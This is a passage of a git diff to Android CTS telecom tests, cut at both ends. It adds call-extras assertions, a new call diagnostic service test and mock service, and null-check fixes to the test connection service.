index a6fe2bf..f3455e6 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDetailsTest.java
@@ -29,9 +29,11 @@
 import android.content.Context;
 import android.database.Cursor;
 import android.graphics.drawable.Icon;
+import android.location.Location;
 import android.media.AudioManager;
-import android.os.Bundle;
 import android.net.Uri;
+import android.os.Bundle;
+import android.os.ParcelUuid;
 import android.provider.CallLog;
 import android.telecom.Call;
 import android.telecom.Connection;
@@ -70,6 +72,8 @@
     public static final String TEST_EXTRA_KEY = "android.test.extra.TEST";
     public static final String TEST_EXTRA_KEY2 = "android.test.extra.TEST2";
     public static final String TEST_EXTRA_KEY3 = "android.test.extra.TEST3";
+    public static final float TEST_EXTRA_BITRATE = 23.85f ;
+    public static final float TEST_EXTRA_BANDWIDTH = 7.0f ;
     public static final String TEST_INVALID_EXTRA_KEY = "blah";
     public static final int TEST_EXTRA_VALUE = 10;
     public static final String TEST_EVENT = "com.test.event.TEST";
@@ -475,10 +479,35 @@
 
         Bundle exampleExtras = new Bundle();
         exampleExtras.putString(Connection.EXTRA_CALL_SUBJECT, TEST_SUBJECT);
+
+        // EXTRA_PRIORITY
+        exampleExtras.putInt(TelecomManager.EXTRA_PRIORITY, TelecomManager.PRIORITY_URGENT);
+
+        // EXTRA_CALL_LOCATION
+        Location testLocation = new Location("CallDetailsTest");
+        double latitude = 123;
+        double longitude = 456;
+        testLocation.setLatitude(latitude);
+        testLocation.setLongitude(longitude);
+        exampleExtras.putParcelable(TelecomManager.EXTRA_LOCATION, testLocation);
+
+        // EXTRA_HAS_PICTURE
+        exampleExtras.putBoolean(TelecomManager.EXTRA_HAS_PICTURE, true);
+
+        // EXTRA_INCOMING_PICTURE
+        Uri testIncomingPictureUrl = Uri.parse("content://carrier.xyz/picture1");
+        exampleExtras.putParcelable(TelecomManager.EXTRA_INCOMING_PICTURE, testIncomingPictureUrl);
+
+        // EXTRA_OUTGOING_PICTURE
+        ParcelUuid testOutgoingPicture = ParcelUuid.fromString("11111111-2222-3333-4444-55555555");
+        exampleExtras.putParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE, testOutgoingPicture);
+
         exampleExtras.putString(Connection.EXTRA_CHILD_ADDRESS, TEST_CHILD_NUMBER);
         exampleExtras.putString(Connection.EXTRA_LAST_FORWARDED_NUMBER, TEST_FORWARDED_NUMBER);
         exampleExtras.putInt(TEST_EXTRA_KEY, TEST_EXTRA_VALUE);
         exampleExtras.putInt(Connection.EXTRA_AUDIO_CODEC, Connection.AUDIO_CODEC_AMR);
+        exampleExtras.putFloat(Connection.EXTRA_AUDIO_CODEC_BITRATE_KBPS, TEST_EXTRA_BITRATE);
+        exampleExtras.putFloat(Connection.EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ, TEST_EXTRA_BANDWIDTH);
         mConnection.setExtras(exampleExtras);
 
         // Make sure we got back a bundle with the call subject key set.
@@ -492,6 +521,21 @@
         assertEquals(TEST_EXTRA_VALUE, callExtras.getInt(TEST_EXTRA_KEY));
         assertEquals(Connection.AUDIO_CODEC_AMR,
                 callExtras.getInt(Connection.EXTRA_AUDIO_CODEC));
+        assertEquals(TEST_EXTRA_BITRATE,
+                callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BITRATE_KBPS), 0.01);
+        assertEquals(TEST_EXTRA_BANDWIDTH,
+                callExtras.getFloat(Connection.EXTRA_AUDIO_CODEC_BANDWIDTH_KHZ), 0.01);
+
+        assertEquals(TelecomManager.PRIORITY_URGENT, exampleExtras.getInt(
+                TelecomManager.EXTRA_PRIORITY));
+        Location testGetLocation = exampleExtras.getParcelable(TelecomManager.EXTRA_LOCATION);
+        assertEquals(latitude, testGetLocation.getLatitude(), 0);
+        assertEquals(longitude, testGetLocation.getLongitude(), 0);
+        assertEquals(true, exampleExtras.getBoolean(TelecomManager.EXTRA_HAS_PICTURE));
+        assertEquals(testIncomingPictureUrl,
+                exampleExtras.getParcelable(TelecomManager.EXTRA_INCOMING_PICTURE));
+        assertEquals(testOutgoingPicture,
+                exampleExtras.getParcelable(TelecomManager.EXTRA_OUTGOING_PICTURE));
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java
new file mode 100644
index 0000000..e1c2783
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CallDiagnosticServiceTest.java
@@ -0,0 +1,318 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import static android.telecom.cts.TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS;
+import static android.telecom.cts.TestUtils.shouldTestTelecom;
+
+import static com.android.compatibility.common.util.SystemUtil.runWithShellPermissionIdentity;
+
+import android.content.Context;
+import android.os.Bundle;
+import android.telecom.BluetoothCallQualityReport;
+import android.telecom.Call;
+import android.telecom.CallAudioState;
+import android.telecom.Connection;
+import android.telecom.DiagnosticCall;
+import android.telecom.TelecomManager;
+
+import java.util.concurrent.TimeUnit;
+
+public class CallDiagnosticServiceTest extends BaseTelecomTestWithMockServices {
+    private static final String POOR_CALL_MESSAGE = "Can you hear me?";
+    private static final int POOR_MESSAGE_ID = 90210;
+    private TelecomManager mTelecomManager;
+    private MockConnection mConnection;
+    private android.telecom.Call mCall;
+    private CtsCallDiagnosticService mService;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        mTelecomManager = (TelecomManager) mContext.getSystemService(Context.TELECOM_SERVICE);
+
+        setupConnectionService(null, FLAG_REGISTER | FLAG_ENABLE);
+        runWithShellPermissionIdentity(() -> {
+                    // Make sure there is a sim account registered.
+                    mTelecomManager.registerPhoneAccount(TestUtils.TEST_SIM_PHONE_ACCOUNT);
+                });
+        TestUtils.enablePhoneAccount(
+                getInstrumentation(), TestUtils.TEST_SIM_PHONE_ACCOUNT_HANDLE);
+        TestUtils.setCallDiagnosticService(getInstrumentation(), TestUtils.PACKAGE);
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        super.tearDown();
+
+        TestUtils.setCallDiagnosticService(getInstrumentation(), "default");
+    }
+
+    /**
+     * Test adding a call binds to the call diagnostic service.
+     * @throws InterruptedException
+     */
+    public void testAddCallAndPassValues() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        assertEquals(1, mService.getCalls().size());
+        final CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall =
+                mService.getCalls().get(0);
+
+        // Add an extra to the connection and verify CDS gets it.
+        Bundle connectionExtras = new Bundle();
+        connectionExtras.putInt(Connection.EXTRA_AUDIO_CODEC, Connection.AUDIO_CODEC_AMR_WB);
+        mConnection.putExtras(connectionExtras);
+        waitUntilConditionIsTrueOrTimeout(new Condition() {
+            @Override
+            public Object expected() {
+                return true;
+            }
+
+            @Override
+            public Object actual() {
+                return diagnosticCall.getCallDetails().getExtras().containsKey(
+                        Connection.EXTRA_AUDIO_CODEC)
+                        && diagnosticCall.getCallDetails().getExtras().getInt(
+                        Connection.EXTRA_AUDIO_CODEC) == Connection.AUDIO_CODEC_AMR_WB;
+            }
+        }, TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, "Extras propagation");
+
+        mConnection.onDisconnect();
+    }
+
+    /**
+     * Test adding multiple calls to the Call Diagnostic Service.
+     * @throws InterruptedException
+     */
+    public void testAddMultipleCalls() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        final Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                TestUtils.TEST_SIM_PHONE_ACCOUNT_HANDLE);
+
+        // Add a second call.
+        placeAndVerifyCall(extras);
+        MockConnection connection = verifyConnectionForOutgoingCall(1);
+        MockInCallService inCallService = mInCallCallbacks.getService();
+        Call call = inCallService.getLastCall();
+        assertEquals(TestUtils.TEST_SIM_PHONE_ACCOUNT_HANDLE, connection.getPhoneAccountHandle());
+
+        mService.getCallChangeLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(2, mService.getCalls().size());
+
+        // Disconnect the first call.
+        mConnection.onDisconnect();
+        mConnection.destroy();
+
+        mService.getCallChangeLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(1, mService.getCalls().size());
+    }
+
+
+    /**
+     * Test passing of BT call quality report to CDS.
+     * @throws InterruptedException
+     */
+    public void testBluetoothCallQualityReport() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        // Add an extra to the connection and verify CDS gets it.
+        BluetoothCallQualityReport report = new BluetoothCallQualityReport.Builder()
+                .setChoppyVoice(true)
+                .setNegativeAcknowledgementCount(10)
+                .setRetransmittedPacketsCount(10)
+                .build();
+        Bundle eventExtras = new Bundle();
+        eventExtras.putParcelable(BluetoothCallQualityReport.EXTRA_BLUETOOTH_CALL_QUALITY_REPORT,
+                report);
+        mCall.sendCallEvent(BluetoothCallQualityReport.EVENT_BLUETOOTH_CALL_QUALITY_REPORT,
+                eventExtras);
+
+        mService.getBluetoothCallQualityReportLatch().await(
+                TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+        assertEquals(report, mService.getBluetoothCallQualityReport());
+
+        mConnection.onDisconnect();
+    }
+
+    /**
+     * Test passing of call audio route to CDS.
+     * @throws InterruptedException
+     */
+    public void testCallAudioRoute() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        mInCallCallbacks.getService().setAudioRoute(CallAudioState.ROUTE_SPEAKER);
+        assertAudioRoute(mInCallCallbacks.getService(), CallAudioState.ROUTE_SPEAKER);
+
+        mService.getCallAudioStateLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(CallAudioState.ROUTE_SPEAKER, mService.getCallAudioState().getRoute());
+    }
+
+    /**
+     * Test incoming D2D message
+     * @throws InterruptedException
+     */
+    public void testReceiveD2DMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        Bundle message = new Bundle();
+        message.putInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_TYPE,
+                DiagnosticCall.MESSAGE_CALL_NETWORK_TYPE);
+        message.putInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_VALUE,
+                DiagnosticCall.NETWORK_TYPE_NR);
+        mConnection.sendConnectionEvent(Connection.EVENT_DEVICE_TO_DEVICE_MESSAGE, message);
+
+        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.getReceivedMessageLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(DiagnosticCall.MESSAGE_CALL_NETWORK_TYPE,
+                diagnosticCall.getMessageType());
+        assertEquals(DiagnosticCall.NETWORK_TYPE_NR,
+                diagnosticCall.getMessageValue());
+    }
+
+    /**
+     * Test sending D2D message
+     * @throws InterruptedException
+     */
+    public void testSendD2DMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.sendDeviceToDeviceMessage(DiagnosticCall.MESSAGE_DEVICE_BATTERY_STATE,
+                DiagnosticCall.BATTERY_STATE_LOW);
+
+        final TestUtils.InvokeCounter counter = mConnection.getInvokeCounter(
+                MockConnection.ON_CALL_EVENT);
+        counter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+
+        String event = (String) (counter.getArgs(0)[0]);
+        Bundle extras = (Bundle) (counter.getArgs(0)[1]);
+        assertEquals(Connection.EVENT_DEVICE_TO_DEVICE_MESSAGE, event);
+        assertNotNull(extras);
+        int messageType = extras.getInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_TYPE);
+        int messageValue = extras.getInt(Connection.EXTRA_DEVICE_TO_DEVICE_MESSAGE_VALUE);
+        assertEquals(DiagnosticCall.MESSAGE_DEVICE_BATTERY_STATE, messageType);
+        assertEquals(DiagnosticCall.BATTERY_STATE_LOW, messageValue);
+    }
+
+    /**
+     * Test routing of a diagnostic message from the CallDiagnosticService to the dialer.
+     * @throws InterruptedException
+     */
+    public void testDisplayDiagnosticMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.displayDiagnosticMessage(POOR_MESSAGE_ID, POOR_CALL_MESSAGE);
+
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Call.EVENT_DISPLAY_DIAGNOSTIC_MESSAGE, event);
+        assertNotNull(extras);
+        CharSequence message = extras.getCharSequence(Call.EXTRA_DIAGNOSTIC_MESSAGE);
+        int messageId = extras.getInt(Call.EXTRA_DIAGNOSTIC_MESSAGE_ID);
+        assertEquals(POOR_MESSAGE_ID, messageId);
+        assertEquals(POOR_CALL_MESSAGE, message);
+    }
+
+    /**
+     * Test routing of a clear diagnostic message from the CallDiagnosticService to the dialer.
+     * @throws InterruptedException
+     */
+    public void testClearDisplayDiagnosticMessage() throws InterruptedException {
+        if (!shouldTestTelecom(mContext)) {
+            return;
+        }
+        setupCall();
+
+        CtsCallDiagnosticService.CtsDiagnosticCall diagnosticCall = mService.getCalls().get(0);
+        diagnosticCall.clearDiagnosticMessage(POOR_MESSAGE_ID);
+
+        mOnConnectionEventCounter.waitForCount(1, WAIT_FOR_STATE_CHANGE_TIMEOUT_MS);
+        String event = (String) (mOnConnectionEventCounter.getArgs(0)[1]);
+        Bundle extras = (Bundle) (mOnConnectionEventCounter.getArgs(0)[2]);
+        assertEquals(Call.EVENT_CLEAR_DIAGNOSTIC_MESSAGE, event);
+        assertNotNull(extras);
+        int messageId = extras.getInt(Call.EXTRA_DIAGNOSTIC_MESSAGE_ID);
+        assertEquals(POOR_MESSAGE_ID, messageId);
+    }
+
+    /**
+     * Starts a fake SIM call and verifies binding to the CDS.
+     * @throws InterruptedException
+     */
+    private void setupCall() throws InterruptedException {
+        final Bundle extras = new Bundle();
+        extras.putParcelable(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE,
+                TestUtils.TEST_SIM_PHONE_ACCOUNT_HANDLE);
+
+        // Add a call.
+        placeAndVerifyCall(extras);
+        mConnection = verifyConnectionForOutgoingCall();
+        MockInCallService inCallService = mInCallCallbacks.getService();
+        mCall = inCallService.getLastCall();
+
+        assertEquals(TestUtils.TEST_SIM_PHONE_ACCOUNT_HANDLE, mConnection.getPhoneAccountHandle());
+
+        // Make sure we bound to the CTS call diagnostic service and told it there is a call.
+        CtsCallDiagnosticService.getBindLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        mService = CtsCallDiagnosticService.getInstance();
+        assertNotNull(mService);
+        mService.getCallChangeLatch().await(TestUtils.WAIT_FOR_STATE_CHANGE_TIMEOUT_MS,
+                TimeUnit.MILLISECONDS);
+        assertEquals(1, mService.getCalls().size());
+
+        // Make the call active.
+        mConnection.setActive();
+
+        // Make sure UI knows.
+        assertCallState(mCall, Call.STATE_ACTIVE);
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
index a04e921..0e51b37 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CarModeInCallServiceTest.java
@@ -59,6 +59,7 @@
         final UiModeManager uiModeManager = mContext.getSystemService(UiModeManager.class);
         assertEquals("Device must not be in car mode at start of test.",
                 Configuration.UI_MODE_TYPE_NORMAL, uiModeManager.getCurrentModeType());
+        mInCallCallbacks.resetLock();
     }
 
     @Override
diff --git a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
index de19e23..08f3b4f 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ConferenceTest.java
@@ -492,7 +492,6 @@
 
     private void verifyConferenceObject(Conference mConferenceObject, MockConnection connection1,
             MockConnection connection2) {
-        assertNull(mConferenceObject.getCallAudioState());
         assertTrue(mConferenceObject.getConferenceableConnections().isEmpty());
         assertEquals(connection1.getConnectionCapabilities(),
                 mConferenceObject.getConnectionCapabilities());
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java b/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java
new file mode 100644
index 0000000..b90f5a7
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsCallDiagnosticService.java
@@ -0,0 +1,201 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.content.Intent;
+import android.telecom.BluetoothCallQualityReport;
+import android.telecom.Call;
+import android.telecom.CallAudioState;
+import android.telecom.CallDiagnosticService;
+import android.telecom.DiagnosticCall;
+import android.telephony.CallQuality;
+import android.telephony.ims.ImsReasonInfo;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.ArrayList;
+import java.util.List;
+import java.util.concurrent.CountDownLatch;
+
+public class CtsCallDiagnosticService extends CallDiagnosticService {
+    private static final String LOG_TAG = "CtsCallDiagnosticService";
+    private static CtsCallDiagnosticService sCtsCallDiagnosticService;
+    private CallAudioState mCallAudioState;
+    private BluetoothCallQualityReport mBluetoothCallQualityReport;
+    private static CountDownLatch sBindLatch = new CountDownLatch(1);
+    private CountDownLatch mChangeLatch = new CountDownLatch(1);
+    private CountDownLatch mBluetoothCallQualityReportLatch = new CountDownLatch(1);
+    private CountDownLatch mCallAudioStateLatch = new CountDownLatch(1);
+    private List<CtsDiagnosticCall> mCalls = new ArrayList<>();
+
+    public static class CtsDiagnosticCall extends DiagnosticCall {
+        private Call.Details mCallDetails;
+        private int mMessageType;
+        private int mMessageValue;
+        private CallQuality mCallQuality;
+        private CountDownLatch mCallQualityReceivedLatch = new CountDownLatch(1);
+        private CountDownLatch mReceivedMessageLatch = new CountDownLatch(1);
+        private CountDownLatch mCallDetailsReceivedLatch = new CountDownLatch(1);
+
+        @Override
+        public void onCallDetailsChanged(@NonNull Call.Details details) {
+            mCallDetails = details;
+            mCallDetailsReceivedLatch.countDown();
+        }
+
+        @Override
+        public void onReceiveDeviceToDeviceMessage(int message, int value) {
+            mMessageType = message;
+            mMessageValue = value;
+            mReceivedMessageLatch.countDown();
+        }
+
+        @Nullable
+        @Override
+        public CharSequence onCallDisconnected(int disconnectCause, int preciseDisconnectCause) {
+            return null;
+        }
+
+        @Nullable
+        @Override
+        public CharSequence onCallDisconnected(@NonNull ImsReasonInfo disconnectReason) {
+            return null;
+        }
+
+        @Override
+        public void onCallQualityReceived(@NonNull CallQuality callQuality) {
+            mCallQuality = callQuality;
+            mReceivedMessageLatch.countDown();
+        }
+
+        @NonNull
+        @Override
+        public Call.Details getCallDetails() {
+            return mCallDetails;
+        }
+
+        public int getMessageType() {
+            return mMessageType;
+        }
+
+        public void setMessageType(int messageType) {
+            this.mMessageType = messageType;
+        }
+
+        public int getMessageValue() {
+            return mMessageValue;
+        }
+
+        public CountDownLatch getCallQualityReceivedLatch() {
+            return mCallQualityReceivedLatch;
+        }
+
+        public CountDownLatch getReceivedMessageLatch() {
+            return mReceivedMessageLatch;
+        }
+
+        public CallQuality getCallQuality() {
+            return mCallQuality;
+        }
+
+        public CountDownLatch getCallDetailsReceivedLatch() {
+            return mCallDetailsReceivedLatch;
+        }
+    }
+
+    @Override
+    public android.os.IBinder onBind(android.content.Intent intent) {
+        Log.i(LOG_TAG, "Service bound.");
+        sCtsCallDiagnosticService = this;
+        android.os.IBinder binder = super.onBind(intent);
+        sBindLatch.countDown();
+        return binder;
+    }
+
+    @Override
+    public boolean onUnbind(Intent intent) {
+        Log.i(LOG_TAG, "Service unbound");
+        sCtsCallDiagnosticService = null;
+        return super.onUnbind(intent);
+    }
+
+    @NonNull
+    @Override
+    public DiagnosticCall onInitializeDiagnosticCall(@NonNull Call.Details call) {
+        CtsDiagnosticCall diagCall = new CtsDiagnosticCall();
+        diagCall.mCallDetails = call;
+        mCalls.add(diagCall);
+        mChangeLatch.countDown();
+        return diagCall;
+    }
+
+    @Override
+    public void onRemoveDiagnosticCall(@NonNull DiagnosticCall call) {
+        Log.i(LOG_TAG, "onRemoveDiagnosticCall: " + call);
+        mCalls.remove(call);
+        mChangeLatch.countDown();
+    }
+
+    @Override
+    public void onCallAudioStateChanged(@NonNull CallAudioState audioState) {
+        mCallAudioState = audioState;
+        mCallAudioStateLatch.countDown();
+    }
+
+    @Override
+    public void onBluetoothCallQualityReportReceived(
+            @NonNull BluetoothCallQualityReport qualityReport) {
+        mBluetoothCallQualityReport = qualityReport;
+        mBluetoothCallQualityReportLatch.countDown();
+    }
+
+    public static CtsCallDiagnosticService getInstance() {
+        return sCtsCallDiagnosticService;
+    }
+
+    public static CountDownLatch getBindLatch() {
+        return sBindLatch;
+    }
+
+    public CallAudioState getCallAudioState() {
+        return mCallAudioState;
+    }
+
+    public CountDownLatch getCallAudioStateLatch() {
+        return mCallAudioStateLatch;
+    }
+
+    public BluetoothCallQualityReport getBluetoothCallQualityReport() {
+        return mBluetoothCallQualityReport;
+    }
+
+    public CountDownLatch getCallChangeLatch() {
+        CountDownLatch latch = mChangeLatch;
+        mChangeLatch = new CountDownLatch(1);
+        return latch;
+    }
+
+    public CountDownLatch getBluetoothCallQualityReportLatch() {
+        return mBluetoothCallQualityReportLatch;
+    }
+
+    public List<CtsDiagnosticCall> getCalls() {
+        return mCalls;
+    }
+}
diff --git a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
index 89eb5a6..68ad014 100644
--- a/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/CtsConnectionService.java
@@ -19,6 +19,7 @@
 import static org.junit.Assert.assertTrue;
 
 import android.content.Intent;
+import android.os.IBinder;
 import android.telecom.Conference;
 import android.telecom.Connection;
 import android.telecom.ConnectionRequest;
@@ -58,8 +59,8 @@
     private static boolean sIsBound = false;
     private static CountDownLatch sServiceUnBoundLatch = new CountDownLatch(1);
 
-    public CtsConnectionService() throws Exception {
-        super();
+    @Override
+    public void onBindClient(Intent intent) {
         sTelecomConnectionService = this;
         sIsBound = true;
     }
@@ -77,7 +78,6 @@
 
     public static void tearDown() {
         synchronized(sLock) {
-            sTelecomConnectionService = null;
             sConnectionService = null;
         }
     }
@@ -185,14 +185,24 @@
 
     public static void addConferenceToTelecom(Conference conference) {
         synchronized(sLock) {
-            sTelecomConnectionService.addConference(conference);
+            if (sTelecomConnectionService != null) {
+                sTelecomConnectionService.addConference(conference);
+            } else {
+                Log.e(LOG_TAG, "addConferenceToTelecom called when"
+                        + " sTelecomConnectionService null!");
+            }
         }
     }
 
     public static void addExistingConnectionToTelecom(
             PhoneAccountHandle phoneAccountHandle, Connection connection) {
         synchronized(sLock) {
-            sTelecomConnectionService.addExistingConnection(phoneAccountHandle, connection);
+            if (sTelecomConnectionService != null) {
+                sTelecomConnectionService.addExistingConnection(phoneAccountHandle, connection);
+            } else {
+                Log.e(LOG_TAG, "addExistingConnectionToTelecom called when"
+                        + " sTelecomConnectionService null!");
+            }
         }
     }
 
@@ -209,8 +219,14 @@
             PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
         synchronized(sLock) {
-            return sTelecomConnectionService.createRemoteOutgoingConnection(
-                    connectionManagerPhoneAccount, request);
+            if (sTelecomConnectionService != null) {
+                return sTelecomConnectionService.createRemoteOutgoingConnection(
+                        connectionManagerPhoneAccount, request);
+            } else {
+                Log.e(LOG_TAG, "createRemoteOutgoingConnectionToTelecom called when"
+                        + " sTelecomConnectionService null!");
+                return null;
+            }
         }
     }
 
@@ -218,8 +234,14 @@
             PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
         synchronized(sLock) {
-            return sTelecomConnectionService.createRemoteIncomingConnection(
-                    connectionManagerPhoneAccount, request);
+            if (sTelecomConnectionService != null) {
+                return sTelecomConnectionService.createRemoteIncomingConnection(
+                        connectionManagerPhoneAccount, request);
+            } else {
+                Log.e(LOG_TAG, "createRemoteIncomingConnectionToTelecom called when"
+                        + " sTelecomConnectionService null!");
+                return null;
+            }
         }
     }
 
@@ -227,8 +249,14 @@
             PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
         synchronized (sLock) {
-            return sTelecomConnectionService.createRemoteIncomingConference(
-                    connectionManagerPhoneAccount, request);
+            if (sTelecomConnectionService != null) {
+                return sTelecomConnectionService.createRemoteIncomingConference(
+                        connectionManagerPhoneAccount, request);
+            } else {
+                Log.e(LOG_TAG, "createRemoteIncomingConferenceToTelecom called when"
+                        + " sTelecomConnectionService null!");
+                return null;
+            }
         }
     }
 
@@ -237,8 +265,14 @@
             PhoneAccountHandle connectionManagerPhoneAccount,
             ConnectionRequest request) {
         synchronized (sLock) {
-            return sTelecomConnectionService.createRemoteOutgoingConference(
-                    connectionManagerPhoneAccount, request);
+            if (sTelecomConnectionService != null) {
+                return sTelecomConnectionService.createRemoteOutgoingConference(
+                        connectionManagerPhoneAccount, request);
+            } else {
+                Log.e(LOG_TAG, "createRemoteOutgoingConferenceToTelecom called when"
+                        + " sTelecomConnectionService null!");
+                return null;
+            }
         }
     }
 
@@ -275,6 +309,7 @@
         sServiceUnBoundLatch.countDown();
         sIsBound = false;
         sConnectionService = null;
+        sTelecomConnectionService = null;
         return super.onUnbind(intent);
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
index 1afeeab..ff81c97 100644
--- a/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
+++ b/tests/tests/telecom/src/android/telecom/cts/ExtendedInCallServiceTest.java
@@ -23,6 +23,7 @@
 import android.app.UiModeManager;
 import android.content.ContentValues;
 import android.content.Context;
+import android.content.res.Configuration;
 import android.net.Uri;
 import android.os.Bundle;
 import android.telecom.CallAudioState;
@@ -375,6 +376,8 @@
             cleanupCalls();
             // Set device back to normal
             manager.disableCarMode(0);
+            // Make sure the UI mode has been set back
+            assertUiMode(Configuration.UI_MODE_TYPE_NORMAL);
         }
     }
 
diff --git a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
index 1df643a..79ef2e5 100644
--- a/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
+++ b/tests/tests/telecom/src/android/telecom/cts/MockInCallService.java
@@ -76,6 +76,10 @@
         final public void setService(MockInCallService service) {
             mService = service;
         }
+
+        public void resetLock() {
+            lock = new Semaphore(0);
+        }
     }
 
     /**
diff --git a/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
new file mode 100644
index 0000000..d7b01d6
--- /dev/null
+++ b/tests/tests/telecom/src/android/telecom/cts/PhoneAccountTest.java
@@ -0,0 +1,41 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.telecom.cts;
+
+import android.telecom.PhoneAccount;
+import android.test.AndroidTestCase;
+
+import static org.junit.Assert.assertFalse;
